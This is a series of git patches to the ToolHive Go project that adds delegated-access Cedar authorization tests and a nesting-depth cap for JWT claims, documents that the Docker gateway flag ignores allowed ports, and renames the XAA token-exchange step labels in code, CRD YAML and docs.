Action::"read_resource", @@ -304,7 +304,7 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { when { resource.uri == "sensitive_data" }; - `, + `}, claims: jwt.MapClaims{ "sub": "user123", }, @@ -316,7 +316,7 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { }, { name: "Resource name and uri attributes carry the same value", - policy: ` + policies: []string{` permit( principal, action == Action::"read_resource", @@ -325,7 +325,7 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { when { resource.name == resource.uri }; - `, + `}, claims: jwt.MapClaims{ "sub": "user123", }, @@ -337,13 +337,13 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { }, { name: "User can get prompt", - policy: ` + policies: []string{` permit( principal, action == Action::"get_prompt", resource == Prompt::"greeting" ); - `, + `}, claims: jwt.MapClaims{ "sub": "user123", "name": "John Doe", @@ -357,13 +357,13 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { }, { name: "User can list tools", - policy: ` + policies: []string{` permit( principal, action == Action::"list_tools", resource == FeatureType::"tool" ); - `, + `}, claims: jwt.MapClaims{ "sub": "user123", "name": "John Doe", @@ -377,13 +377,13 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { }, { name: "User can list prompts", - policy: ` + policies: []string{` permit( principal, action == Action::"list_prompts", resource == FeatureType::"prompt" ); - `, + `}, claims: jwt.MapClaims{ "sub": "user123", "name": "John Doe", @@ -397,13 +397,13 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { }, { name: "User can list resources", - policy: ` + policies: []string{` permit( principal, action == Action::"list_resources", resource == FeatureType::"resource" ); - `, + `}, claims: jwt.MapClaims{ "sub": "user123", "name": "John Doe", @@ -415,6 +415,115 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { arguments: nil, expectAuthorized: true, }, + { + name: "Delegated access permitted when act claim matches SPIFFE ID pattern", + policies: []string{` + permit( + principal, + action == Action::"call_tool", + resource == Tool::"deploy" + ) + when { + context.claim_sub == "user@example.com" && + context has claim_act && + context.claim_act.sub like "spiffe://toolhive.dev/ns/agents/sa/*" + }; + `}, + claims: jwt.MapClaims{ + "sub": "user@example.com", + "act": map[string]interface{}{ + "sub": "spiffe://toolhive.dev/ns/agents/sa/devops-agent", + }, + }, + feature: authorizers.MCPFeatureTool, + operation: authorizers.MCPOperationCall, + resourceID: "deploy", + arguments: nil, + expectAuthorized: true, + }, + { + name: "Delegated access denied when act claim has wrong SPIFFE ID", + policies: []string{` + permit( + principal, + action == Action::"call_tool", + resource == Tool::"deploy" + ) + when { + context.claim_sub == "user@example.com" && + context has claim_act && + context.claim_act.sub like "spiffe://toolhive.dev/ns/agents/sa/*" + }; + `}, + claims: jwt.MapClaims{ + "sub": "user@example.com", + "act": map[string]interface{}{ + "sub": "spiffe://evil.example.com/ns/agents/sa/attacker", + }, + }, + feature: authorizers.MCPFeatureTool, + operation: authorizers.MCPOperationCall, + resourceID: "deploy", + arguments: nil, + expectAuthorized: false, + }, + { + name: "Forbid delegated access to admin tools when act claim present", + policies: []string{ + `permit(principal, action == Action::"call_tool", resource);`, + `forbid(principal, action == Action::"call_tool", resource == Tool::"admin_reset") + when { context has claim_act };`, + }, + claims: jwt.MapClaims{ + "sub": "user@example.com", + "act": map[string]interface{}{ + "sub": "spiffe://toolhive.dev/ns/agents/sa/devops-agent", + }, + }, + feature: authorizers.MCPFeatureTool, + operation: authorizers.MCPOperationCall, + resourceID: "admin_reset", + arguments: nil, + expectAuthorized: false, + }, + { + name: "Direct access to admin tools allowed when no act claim", + policies: []string{ + `permit(principal, action == Action::"call_tool", resource);`, + `forbid(principal, action == Action::"call_tool", resource == Tool::"admin_reset") + when { context has claim_act };`, + }, + claims: jwt.MapClaims{ + "sub": "user@example.com", + }, + feature: authorizers.MCPFeatureTool, + operation: authorizers.MCPOperationCall, + resourceID: "admin_reset", + arguments: nil, + expectAuthorized: true, + }, + { + name: "Policy with has operator does not match when act claim absent", + policies: []string{` + permit( + principal, + action == Action::"call_tool", + resource == Tool::"deploy" + ) + when { + context has claim_act && + context.claim_act.sub like "spiffe://toolhive.dev/ns/agents/sa/*" + }; + `}, + claims: jwt.MapClaims{ + "sub": "user@example.com", + }, + feature: authorizers.MCPFeatureTool, + operation: authorizers.MCPOperationCall, + resourceID: "deploy", + arguments: nil, + expectAuthorized: false, + }, } // Run test cases @@ -426,7 +535,7 @@ func TestAuthorizeWithJWTClaims(t *testing.T) { // Create a Cedar authorizer authorizer, err := NewCedarAuthorizer(ConfigOptions{ - Policies: []string{tc.policy}, + Policies: tc.policies, EntitiesJSON: `[]`, }, "") require.NoError(t, err, "Failed to create Cedar authorizer") diff --git a/pkg/authz/authorizers/cedar/entity.go b/pkg/authz/authorizers/cedar/entity.go index 2ec563f54b..bea4e06c1b 100644 --- a/pkg/authz/authorizers/cedar/entity.go +++ b/pkg/authz/authorizers/cedar/entity.go @@ -5,9 +5,18 @@ package cedar import ( + "log/slog" + cedar "github.com/cedar-policy/cedar-go" ) +// maxClaimNestingDepth caps how deeply nested maps/arrays in JWT claims are +// converted into Cedar records/sets. Claims can originate from an unverified +// upstream token (see parseUpstreamJWTClaims in core.go, which uses +// jwt.ParseUnverified), so recursion here has no other bound. Matches +// maxSchemaDepth in pkg/vmcp/composer/elicitation_handler.go for consistency. +const maxClaimNestingDepth = 10 + // EntityTypeTHVGroup is the default Cedar entity type representing group membership. // It is used when ConfigOptions.GroupEntityType is empty. Principals are added as // children of group entities so that Cedar's `in` operator can evaluate @@ -181,8 +190,15 @@ func (f *EntityFactory) CreateEntitiesForRequest( return entities, nil } -// convertMapToCedarRecord converts a Go map to a Cedar record. +// convertMapToCedarRecord converts a Go map to a Cedar record. Nesting beyond +// maxClaimNestingDepth is dropped (see convertToCedarValueAtDepth). func convertMapToCedarRecord(data map[string]interface{}) cedar.Record { + return convertMapToCedarRecordAtDepth(data, 0) +} + +// convertMapToCedarRecordAtDepth is the depth-tracking implementation behind +// convertMapToCedarRecord. +func convertMapToCedarRecordAtDepth(data map[string]interface{}, depth int) cedar.Record { if data == nil { return cedar.NewRecord(cedar.RecordMap{}) } @@ -191,7 +207,7 @@ func convertMapToCedarRecord(data map[string]interface{}) cedar.Record { for k, v := range data { // Convert Go values to Cedar values - cedarValue := convertToCedarValue(v) + cedarValue := convertToCedarValueAtDepth(v, depth) if cedarValue != nil { recordMap[cedar.String(k)] = cedarValue } @@ -200,8 +216,20 @@ func convertMapToCedarRecord(data map[string]interface{}) cedar.Record { return cedar.NewRecord(recordMap) } -// convertToCedarValue converts a Go value to a Cedar value. -func convertToCedarValue(v interface{}) cedar.Value { +// convertToCedarValueAtDepth converts a Go value to a Cedar value. Maps and +// arrays nested deeper than maxClaimNestingDepth are dropped rather than +// causing unbounded recursion, since claim values can originate from an +// unverified upstream JWT (see parseUpstreamJWTClaims in core.go). depth +// counts how many maps/arrays have already been unwrapped to reach v; once +// it exceeds maxClaimNestingDepth, v is dropped (returns nil) and a warning +// is logged instead of recursing further. +func convertToCedarValueAtDepth(v interface{}, depth int) cedar.Value { + if depth > maxClaimNestingDepth { + slog.Warn("claim attribute nested too deeply, dropping", + "max_depth", maxClaimNestingDepth) + return nil + } + switch val := v.(type) { case bool: return convertBoolToCedar(val) @@ -214,9 +242,11 @@ func convertToCedarValue(v interface{}) cedar.Value { case float64: return convertFloatToCedar(val) case []interface{}: - return convertInterfaceArrayToCedar(val) + return convertInterfaceArrayToCedar(val, depth) case []string: return convertStringArrayToCedar(val) + case map[string]interface{}: + return convertMapToCedarRecordAtDepth(val, depth+1) default: // Skip unsupported types return nil @@ -241,10 +271,10 @@ func convertFloatToCedar(val float64) cedar.Value { } // convertInterfaceArrayToCedar converts an array of interfaces to a Cedar set. -func convertInterfaceArrayToCedar(val []interface{}) cedar.Value { +func convertInterfaceArrayToCedar(val []interface{}, depth int) cedar.Value { values := make([]cedar.Value, 0, len(val)) for _, item := range val { - cedarItem := convertArrayItemToCedar(item) + cedarItem := convertToCedarValueAtDepth(item, depth+1) if cedarItem != nil { values = append(values, cedarItem) } @@ -252,24 +282,6 @@ func convertInterfaceArrayToCedar(val []interface{}) cedar.Value { return cedar.NewSet(values...) } -// convertArrayItemToCedar converts an array item to a Cedar value. -func convertArrayItemToCedar(item interface{}) cedar.Value { - switch itemVal := item.(type) { - case string: - return cedar.String(itemVal) - case bool: - return convertBoolToCedar(itemVal) - case int: - return cedar.Long(itemVal) - case int64: - return cedar.Long(itemVal) - case float64: - return convertFloatToCedar(itemVal) - default: - return nil - } -} - // convertStringArrayToCedar converts a string array to a Cedar set. func convertStringArrayToCedar(val []string) cedar.Value { values := make([]cedar.Value, 0, len(val)) diff --git a/pkg/authz/authorizers/cedar/record_test.go b/pkg/authz/authorizers/cedar/record_test.go index e499c11b9b..30f3b91bbd 100644 --- a/pkg/authz/authorizers/cedar/record_test.go +++ b/pkg/authz/authorizers/cedar/record_test.go @@ -161,13 +161,63 @@ func TestConvertMapToCedarRecord(t *testing.T) { { name: "Unsupported types", input: map[string]interface{}{ - "map": map[string]interface{}{"nested": "value"}, "struct": struct{ Name string }{"test"}, "valid": "this should be included", }, expected: map[string]cedar.Value{ "valid": cedar.String("this should be included"), - // Other keys should be skipped + // struct key should be skipped + }, + }, + { + name: "Nested map converts to Cedar record", + input: map[string]interface{}{ + "act": map[string]interface{}{ + "sub": "spiffe://toolhive.dev/ns/agents/sa/devops-agent", + }, + }, + expected: map[string]cedar.Value{ + "act": cedar.NewRecord(cedar.RecordMap{ + cedar.String("sub"): cedar.String("spiffe://toolhive.dev/ns/agents/sa/devops-agent"), + }), + }, + }, + { + name: "Deeply nested map", + input: map[string]interface{}{ + "outer": map[string]interface{}{ + "inner": map[string]interface{}{ + "value": "deep", + }, + }, + }, + expected: map[string]cedar.Value{ + "outer": cedar.NewRecord(cedar.RecordMap{ + cedar.String("inner"): cedar.NewRecord(cedar.RecordMap{ + cedar.String("value"): cedar.String("deep"), + }), + }), + }, + }, + { + name: "Map nested exactly at depth limit converts fully", + input: map[string]interface{}{ + "claim": buildNestedMap(maxClaimNestingDepth, "reachable"), + }, + expected: map[string]cedar.Value{ + "claim": nestedCedarRecord(maxClaimNestingDepth, cedar.String("reachable")), + }, + }, + { + name: "Map nested beyond depth limit truncates the deep branch", + input: map[string]interface{}{ + "claim": buildNestedMap(maxClaimNestingDepth+2, "unreachable"), + }, + expected: map[string]cedar.Value{ + // Everything past maxClaimNestingDepth is dropped: the chain + // converts down to the limit and bottoms out in an empty + // record instead of reaching "unreachable". + "claim": nestedCedarRecord(maxClaimNestingDepth, cedar.NewRecord(cedar.RecordMap{})), }, }, { @@ -193,6 +243,36 @@ func TestConvertMapToCedarRecord(t *testing.T) { "int64s": cedar.NewSet(cedar.Long(9223372036854775807)), }, }, + { + name: "Array of maps converts to Cedar set of records", + input: map[string]interface{}{ + "act_chain": []interface{}{ + map[string]interface{}{"sub": "spiffe://toolhive.dev/ns/agents/sa/agent-a"}, + map[string]interface{}{"sub": "spiffe://toolhive.dev/ns/agents/sa/agent-b"}, + }, + }, + expected: map[string]cedar.Value{ + "act_chain": cedar.NewSet( + cedar.NewRecord(cedar.RecordMap{cedar.String("sub"): cedar.String("spiffe://toolhive.dev/ns/agents/sa/agent-a")}), + cedar.NewRecord(cedar.RecordMap{cedar.String("sub"): cedar.String("spiffe://toolhive.dev/ns/agents/sa/agent-b")}), + ), + }, + }, + { + name: "Array of arrays converts to Cedar set of sets", + input: map[string]interface{}{ + "groups": []interface{}{ + []interface{}{"a", "b"}, + []interface{}{"c"}, + }, + }, + expected: map[string]cedar.Value{ + "groups": cedar.NewSet( + cedar.NewSet(cedar.String("a"), cedar.String("b")), + cedar.NewSet(cedar.String("c")), + ), + }, + }, } // Run test cases @@ -221,3 +301,26 @@ func TestConvertMapToCedarRecord(t *testing.T) { }) } } + +// buildNestedMap wraps leaf in `levels` maps nested under the key "nested", +// e.g. buildNestedMap(2, "x") == map[string]interface{}{"nested": +// map[string]interface{}{"nested": "x"}}. levels must be >= 1 so the return +// value is always a map[string]interface{}. Used to exercise the recursion +// depth cap in convertMapToCedarRecord. +func buildNestedMap(levels int, leaf interface{}) map[string]interface{} { + value := leaf + for range levels { + value = map[string]interface{}{"nested": value} + } + return value.(map[string]interface{}) +} + +// nestedCedarRecord wraps leaf in `levels` Cedar records nested under the +// key "nested" — the expected-value counterpart to buildNestedMap. +func nestedCedarRecord(levels int, leaf cedar.Value) cedar.Value { + value := leaf + for range levels { + value = cedar.NewRecord(cedar.RecordMap{cedar.String("nested"): value}) + } + return value +} From a935334ff4271a847879245c74a2198710143bd9 Mon Sep 17 00:00:00 2001 From: Eleftheria Stein-Kousathana Date: Fri, 3 Jul 2026 12:45:59 +0200 Subject: [PATCH 13/66] Document that --allow-docker-gateway ignores allowed ports (#5714) The flag help text didn't mention that gateway access is port-independent, so an operator combining it with a restrictive permission profile could reasonably expect gateway traffic to stay bound to the allowed ports, when in fact the gateway is reachable on any port. Clarify this in the CLI help, RunConfig field doc, and runtime types doc (source of the generated swagger description). Co-authored-by: Claude Sonnet 5 --- cmd/thv/app/run_flags.go | 4 +++- docs/cli/thv_run.md | 2 +- docs/server/docs.go | 2 +- docs/server/swagger.json | 2 +- docs/server/swagger.yaml | 2 ++ pkg/container/runtime/types.go | 2 ++ pkg/runner/config.go | 2 ++ 7 files changed, 12 insertions(+), 4 deletions(-) diff --git a/cmd/thv/app/run_flags.go b/cmd/thv/app/run_flags.go index ddd41448bd..e7f0eb3ff6 100644 --- a/cmd/thv/app/run_flags.go +++ b/cmd/thv/app/run_flags.go @@ -271,7 +271,9 @@ func AddRunFlags(cmd *cobra.Command, config *RunFlags) { "Isolate the container network from the host. Use --isolate-network=false to opt out.") cmd.Flags().BoolVar(&config.AllowDockerGateway, "allow-docker-gateway", false, "Allow outbound connections to Docker gateway addresses (host.docker.internal, gateway.docker.internal, 172.17.0.1). "+ - "Only applies when --isolate-network is set. These are blocked by default even when insecure_allow_all is enabled.") + "Only applies when --isolate-network is set. These are blocked by default even when insecure_allow_all is enabled. "+ + "Gateway access is port-independent: it ignores the permission profile's allowed ports, so once enabled the "+ + "gateway is reachable on any port.") cmd.Flags().BoolVar(&config.TrustProxyHeaders, "trust-proxy-headers", false, "Trust X-Forwarded-* headers from reverse proxies (X-Forwarded-Proto, X-Forwarded-Host, X-Forwarded-Port, X-Forwarded-Prefix) "+ "(default false)") diff --git a/docs/cli/thv_run.md b/docs/cli/thv_run.md index b3f5d7aae4..8a7fb8ecc7 100644 --- a/docs/cli/thv_run.md +++ b/docs/cli/thv_run.md @@ -111,7 +111,7 @@ thv run [flags] SERVER_OR_IMAGE_OR_PROTOCOL [-- ARGS...] ### Options ``` - --allow-docker-gateway Allow outbound connections to Docker gateway addresses (host.docker.internal, gateway.docker.internal, 172.17.0.1). Only applies when --isolate-network is set. These are blocked by default even when insecure_allow_all is enabled. + --allow-docker-gateway Allow outbound connections to Docker gateway addresses (host.docker.internal, gateway.docker.internal, 172.17.0.1). Only applies when --isolate-network is set. These are blocked by default even when insecure_allow_all is enabled. Gateway access is port-independent: it ignores the permission profile's allowed ports, so once enabled the gateway is reachable on any port. --allowed-origins stringArray Exact-match allowlist for the HTTP Origin header (repeatable). Recommended when binding publicly; loopback binds derive a default allowlist automatically, non-loopback binds log a warning when no value is supplied. Example: https://my-mcp.example.com --audit-config string Path to the audit configuration file --authz-config string Path to the authorization configuration file diff --git a/docs/server/docs.go b/docs/server/docs.go index 5895881675..3871286b32 100644 --- a/docs/server/docs.go +++ b/docs/server/docs.go @@ -1277,7 +1277,7 @@ const docTemplate = `{ "uniqueItems": false }, "allow_docker_gateway": { - "description": "AllowDockerGateway permits outbound connections to Docker gateway addresses\n(host.docker.internal, gateway.docker.internal, 172.17.0.1). These are\nblocked by default in the egress proxy even when InsecureAllowAll is set.\nOnly applicable to Docker deployments with network isolation enabled.", + "description": "AllowDockerGateway permits outbound connections to Docker gateway addresses\n(host.docker.internal, gateway.docker.internal, 172.17.0.1). These are\nblocked by default in the egress proxy even when InsecureAllowAll is set.\nOnly applicable to Docker deployments with network isolation enabled.\nGateway access is port-independent: it ignores the permission profile's\nallowed ports, so once enabled the gateway is reachable on any port.", "type": "boolean" }, "allowed_origins": { diff --git a/docs/server/swagger.json b/docs/server/swagger.json index 07e9d5089f..f60beca3fa 100644 --- a/docs/server/swagger.json +++ b/docs/server/swagger.json @@ -1270,7 +1270,7 @@ "uniqueItems": false }, "allow_docker_gateway": { - "description": "AllowDockerGateway permits outbound connections to Docker gateway addresses\n(host.docker.internal, gateway.docker.internal, 172.17.0.1). These are\nblocked by default in the egress proxy even when InsecureAllowAll is set.\nOnly applicable to Docker deployments with network isolation enabled.", + "description": "AllowDockerGateway permits outbound connections to Docker gateway addresses\n(host.docker.internal, gateway.docker.internal, 172.17.0.1). These are\nblocked by default in the egress proxy even when InsecureAllowAll is set.\nOnly applicable to Docker deployments with network isolation enabled.\nGateway access is port-independent: it ignores the permission profile's\nallowed ports, so once enabled the gateway is reachable on any port.", "type": "boolean" }, "allowed_origins": { diff --git a/docs/server/swagger.yaml b/docs/server/swagger.yaml index c12579cae9..dc8715bb4f 100644 --- a/docs/server/swagger.yaml +++ b/docs/server/swagger.yaml @@ -1323,6 +1323,8 @@ components: (host.docker.internal, gateway.docker.internal, 172.17.0.1). These are blocked by default in the egress proxy even when InsecureAllowAll is set. Only applicable to Docker deployments with network isolation enabled. + Gateway access is port-independent: it ignores the permission profile's + allowed ports, so once enabled the gateway is reachable on any port. type: boolean allowed_origins: description: |- diff --git a/pkg/container/runtime/types.go b/pkg/container/runtime/types.go index f71b3d0ee0..2aeb954e52 100644 --- a/pkg/container/runtime/types.go +++ b/pkg/container/runtime/types.go @@ -283,6 +283,8 @@ type DeployWorkloadOptions struct { // (host.docker.internal, gateway.docker.internal, 172.17.0.1). These are // blocked by default in the egress proxy even when InsecureAllowAll is set. // Only applicable to Docker deployments with network isolation enabled. + // Gateway access is port-independent: it ignores the permission profile's + // allowed ports, so once enabled the gateway is reachable on any port. AllowDockerGateway bool // RunConfigMCPServerGeneration is the monotonic version stamp from the source RunConfig diff --git a/pkg/runner/config.go b/pkg/runner/config.go index 8c6442d79c..f26cdb59b8 100644 --- a/pkg/runner/config.go +++ b/pkg/runner/config.go @@ -200,6 +200,8 @@ type RunConfig struct { // (host.docker.internal, gateway.docker.internal, 172.17.0.1). These are // blocked by default in the egress proxy even when InsecureAllowAll is set. // Only applicable to Docker deployments with network isolation enabled. + // Gateway access is port-independent: it ignores the permission profile's + // allowed ports, so once enabled the gateway is reachable on any port. AllowDockerGateway bool `json:"allow_docker_gateway,omitempty" yaml:"allow_docker_gateway,omitempty"` // TrustProxyHeaders indicates whether to trust X-Forwarded-* headers from reverse proxies From c46b038175441311d84fcb15f996cdc0c4770eec Mon Sep 17 00:00:00 2001 From: Jakub Hrozek Date: Fri, 3 Jul 2026 14:45:39 +0100 Subject: [PATCH 14/66] Replace opaque Step A/B labels in XAA CRD comments (#5703) * Replace opaque Step A/B labels in XAA CRD comments with action names "Step A" and "Step B" in the XAASpec struct comments and the generated CRD YAML descriptions don't tell the reader what each step does or which endpoint it targets. Rename throughout to "IdP exchange" (RFC 8693 token exchange at the user's IdP, produces the ID-JAG) and "target grant" (RFC 7523 JWT bearer grant at the target AS, produces the backend access token). Regenerate the CRD YAML with task operator-manifests. Co-Authored-By: Claude Sonnet 4.6 (1M context) * Rename remaining XAA Step A/B labels The initial rename only touched mcpexternalauthconfig_types.go, leaving pkg/vmcp/auth/types/types.go and pkg/vmcp/auth/strategies/xaa.go with the old "Step A"/"Step B" labels for the identical ID-JAG exchange. Since types.go feeds the VirtualMCPServer CRD schema, kubectl explain showed two different names for the same protocol concept depending on which CRD you asked. Extend the IdP exchange / target grant rename to the runtime auth types, the XAA strategy implementation (including the performStepA/performStepB function names, log strings, and error messages), and two incidental mentions in the generic OAuth protocol packages. Regenerate the VirtualMCPServer and MCPExternalAuthConfig CRD YAML and the CRD API reference docs to match, fixing the CI doc-drift failure. Also drop a stray "the" before "IdP exchange" for consistency with the rest of the file. --------- Co-authored-by: Claude Sonnet 4.6 (1M context) --- .../v1beta1/mcpexternalauthconfig_types.go | 24 +++--- ...e.stacklok.dev_mcpexternalauthconfigs.yaml | 32 ++++---- ...olhive.stacklok.dev_virtualmcpservers.yaml | 76 +++++++++---------- ...e.stacklok.dev_mcpexternalauthconfigs.yaml | 32 ++++---- ...olhive.stacklok.dev_virtualmcpservers.yaml | 76 +++++++++---------- docs/operator/crd-api.md | 42 +++++----- pkg/oauthproto/jwtbearer/grant.go | 2 +- pkg/oauthproto/tokenexchange/exchange.go | 2 +- pkg/vmcp/auth/strategies/xaa.go | 68 ++++++++--------- pkg/vmcp/auth/strategies/xaa_test.go | 40 +++++----- pkg/vmcp/auth/types/types.go | 22 +++--- 11 files changed, 208 insertions(+), 208 deletions(-) diff --git a/cmd/thv-operator/api/v1beta1/mcpexternalauthconfig_types.go b/cmd/thv-operator/api/v1beta1/mcpexternalauthconfig_types.go index 90078d0d52..8266fa8ab2 100644 --- a/cmd/thv-operator/api/v1beta1/mcpexternalauthconfig_types.go +++ b/cmd/thv-operator/api/v1beta1/mcpexternalauthconfig_types.go @@ -49,8 +49,8 @@ const ( // ExternalAuthTypeXAA is the type for XAA (Cross-Application Access) auth. // XAA performs a two-step token exchange to obtain access tokens for target services: - // - Step A (RFC 8693): Exchange the user's ID token at their IdP for an ID-JAG JWT - // - Step B (RFC 7523): Exchange the ID-JAG at the target app's AS for an access token + // - IdP exchange (RFC 8693): Exchange the user's ID token at their IdP for an ID-JAG JWT + // - Target grant (RFC 7523): Exchange the ID-JAG at the target app's AS for an access token ExternalAuthTypeXAA ExternalAuthType = "xaa" ) @@ -1334,16 +1334,16 @@ const ( // XAASpec holds configuration for the XAA (Cross-Application Access) auth strategy. // XAA implements draft-ietf-oauth-identity-assertion-authz-grant (ID-JAG) — a // two-step token exchange to obtain access tokens for target services: -// - Step A (RFC 8693): Exchange the user's ID token at their IdP for an ID-JAG JWT -// - Step B (RFC 7523): Exchange the ID-JAG at the target app's AS for an access token +// - IdP exchange (RFC 8693): Exchange the user's ID token at their IdP for an ID-JAG JWT +// - Target grant (RFC 7523): Exchange the ID-JAG at the target app's AS for an access token type XAASpec struct { - // IDPTokenURL is the IdP token endpoint for Step A (RFC 8693 exchange). + // IDPTokenURL is the IdP token endpoint for IdP exchange (RFC 8693). // Must be a valid HTTPS URL. // +kubebuilder:validation:Required // +kubebuilder:validation:Pattern=`^https://.*$` IDPTokenURL string `json:"idpTokenUrl"` - // IDPClientID is the OAuth client ID at the IdP for Step A. + // IDPClientID is the OAuth client ID at the IdP for IdP exchange. // +optional IDPClientID string `json:"idpClientId,omitempty"` @@ -1351,7 +1351,7 @@ type XAASpec struct { // +optional IDPClientSecretRef *SecretKeyRef `json:"idpClientSecretRef,omitempty"` - // TargetTokenURL is the target AS token endpoint for Step B (JWT Bearer grant). + // TargetTokenURL is the target AS token endpoint for target grant (RFC 7523). // +kubebuilder:validation:Required TargetTokenURL string `json:"targetTokenUrl"` @@ -1361,8 +1361,8 @@ type XAASpec struct { // +optional InsecureTargetTokenURL bool `json:"insecureTargetTokenUrl,omitempty"` - // TargetClientID is the OAuth client ID at the target AS for Step B. - // ID-JAG draft §9.1 RECOMMENDS confidential clients for Step B; most + // TargetClientID is the OAuth client ID at the target AS for target grant. + // ID-JAG draft §9.1 RECOMMENDS confidential clients for target grant; most // conformant target authorization servers will reject an unauthenticated // JWT-bearer grant per the §4.4.1 client_id continuity requirement. // +optional @@ -1377,7 +1377,7 @@ type XAASpec struct { TargetAudience string `json:"targetAudience"` // TargetResource is the RFC 8707 resource indicator sent as the `resource` - // parameter in Step A's RFC 8693 token exchange (draft §4.3, OPTIONAL). It + // parameter in IdP exchange (RFC 8693, draft §4.3, OPTIONAL). It // identifies the target resource server — not the access-token audience, which // is governed by TargetAudience. For MCP backends, set to the MCP server URL. // Some authorization servers (e.g. Okta's early ID-JAG implementation) require @@ -1386,7 +1386,7 @@ type XAASpec struct { // +optional TargetResource string `json:"targetResource,omitempty"` - // Scopes are the requested scopes for the XAA exchange (Steps A and B). + // Scopes are the requested scopes for the XAA exchange (IdP exchange and target grant). // +listType=atomic // +optional Scopes []string `json:"scopes,omitempty"` @@ -1399,7 +1399,7 @@ type XAASpec struct { SubjectProviderName string `json:"subjectProviderName,omitempty"` // SubjectTokenType is the token-type URN of the upstream subject token - // used in Step A. Defaults to "urn:ietf:params:oauth:token-type:id_token" + // used in IdP exchange. Defaults to "urn:ietf:params:oauth:token-type:id_token" // when empty. // +kubebuilder:validation:Enum="urn:ietf:params:oauth:token-type:id_token" // +optional diff --git a/deploy/charts/operator-crds/files/crds/toolhive.stacklok.dev_mcpexternalauthconfigs.yaml b/deploy/charts/operator-crds/files/crds/toolhive.stacklok.dev_mcpexternalauthconfigs.yaml index 3c306255c0..d47545b4d6 100644 --- a/deploy/charts/operator-crds/files/crds/toolhive.stacklok.dev_mcpexternalauthconfigs.yaml +++ b/deploy/charts/operator-crds/files/crds/toolhive.stacklok.dev_mcpexternalauthconfigs.yaml @@ -1377,7 +1377,7 @@ spec: properties: idpClientId: description: IDPClientID is the OAuth client ID at the IdP for - Step A. + IdP exchange. type: string idpClientSecretRef: description: IDPClientSecretRef references a Kubernetes Secret @@ -1395,7 +1395,7 @@ spec: type: object idpTokenUrl: description: |- - IDPTokenURL is the IdP token endpoint for Step A (RFC 8693 exchange). + IDPTokenURL is the IdP token endpoint for IdP exchange (RFC 8693). Must be a valid HTTPS URL. pattern: ^https://.*$ type: string @@ -1407,7 +1407,7 @@ spec: type: boolean scopes: description: Scopes are the requested scopes for the XAA exchange - (Steps A and B). + (IdP exchange and target grant). items: type: string type: array @@ -1422,7 +1422,7 @@ spec: subjectTokenType: description: |- SubjectTokenType is the token-type URN of the upstream subject token - used in Step A. Defaults to "urn:ietf:params:oauth:token-type:id_token" + used in IdP exchange. Defaults to "urn:ietf:params:oauth:token-type:id_token" when empty. enum: - urn:ietf:params:oauth:token-type:id_token @@ -1433,8 +1433,8 @@ spec: type: string targetClientId: description: |- - TargetClientID is the OAuth client ID at the target AS for Step B. - ID-JAG draft §9.1 RECOMMENDS confidential clients for Step B; most + TargetClientID is the OAuth client ID at the target AS for target grant. + ID-JAG draft §9.1 RECOMMENDS confidential clients for target grant; most conformant target authorization servers will reject an unauthenticated JWT-bearer grant per the §4.4.1 client_id continuity requirement. type: string @@ -1455,7 +1455,7 @@ spec: targetResource: description: |- TargetResource is the RFC 8707 resource indicator sent as the `resource` - parameter in Step A's RFC 8693 token exchange (draft §4.3, OPTIONAL). It + parameter in IdP exchange (RFC 8693, draft §4.3, OPTIONAL). It identifies the target resource server — not the access-token audience, which is governed by TargetAudience. For MCP backends, set to the MCP server URL. Some authorization servers (e.g. Okta's early ID-JAG implementation) require @@ -1464,7 +1464,7 @@ spec: type: string targetTokenUrl: description: TargetTokenURL is the target AS token endpoint for - Step B (JWT Bearer grant). + target grant (RFC 7523). type: string required: - idpTokenUrl @@ -2979,7 +2979,7 @@ spec: properties: idpClientId: description: IDPClientID is the OAuth client ID at the IdP for - Step A. + IdP exchange. type: string idpClientSecretRef: description: IDPClientSecretRef references a Kubernetes Secret @@ -2997,7 +2997,7 @@ spec: type: object idpTokenUrl: description: |- - IDPTokenURL is the IdP token endpoint for Step A (RFC 8693 exchange). + IDPTokenURL is the IdP token endpoint for IdP exchange (RFC 8693). Must be a valid HTTPS URL. pattern: ^https://.*$ type: string @@ -3009,7 +3009,7 @@ spec: type: boolean scopes: description: Scopes are the requested scopes for the XAA exchange - (Steps A and B). + (IdP exchange and target grant). items: type: string type: array @@ -3024,7 +3024,7 @@ spec: subjectTokenType: description: |- SubjectTokenType is the token-type URN of the upstream subject token - used in Step A. Defaults to "urn:ietf:params:oauth:token-type:id_token" + used in IdP exchange. Defaults to "urn:ietf:params:oauth:token-type:id_token" when empty. enum: - urn:ietf:params:oauth:token-type:id_token @@ -3035,8 +3035,8 @@ spec: type: string targetClientId: description: |- - TargetClientID is the OAuth client ID at the target AS for Step B. - ID-JAG draft §9.1 RECOMMENDS confidential clients for Step B; most + TargetClientID is the OAuth client ID at the target AS for target grant. + ID-JAG draft §9.1 RECOMMENDS confidential clients for target grant; most conformant target authorization servers will reject an unauthenticated JWT-bearer grant per the §4.4.1 client_id continuity requirement. type: string @@ -3057,7 +3057,7 @@ spec: targetResource: description: |- TargetResource is the RFC 8707 resource indicator sent as the `resource` - parameter in Step A's RFC 8693 token exchange (draft §4.3, OPTIONAL). It + parameter in IdP exchange (RFC 8693, draft §4.3, OPTIONAL). It identifies the target resource server — not the access-token audience, which is governed by TargetAudience. For MCP backends, set to the MCP server URL. Some authorization servers (e.g. Okta's early ID-JAG implementation) require @@ -3066,7 +3066,7 @@ spec: type: string targetTokenUrl: description: TargetTokenURL is the target AS token endpoint for - Step B (JWT Bearer grant). + target grant (RFC 7523). type: string required: - idpTokenUrl diff --git a/deploy/charts/operator-crds/files/crds/toolhive.stacklok.dev_virtualmcpservers.yaml b/deploy/charts/operator-crds/files/crds/toolhive.stacklok.dev_virtualmcpservers.yaml index 20c8b0f8ef..17c372dbc5 100644 --- a/deploy/charts/operator-crds/files/crds/toolhive.stacklok.dev_virtualmcpservers.yaml +++ b/deploy/charts/operator-crds/files/crds/toolhive.stacklok.dev_virtualmcpservers.yaml @@ -2151,11 +2151,11 @@ spec: properties: idpClientId: description: IDPClientID is the OAuth client ID - at the IdP for Step A. + at the IdP for IdP exchange. type: string idpClientSecret: description: IDPClientSecret is the client secret - at the IdP for Step A. + at the IdP for IdP exchange. type: string idpClientSecretEnv: description: 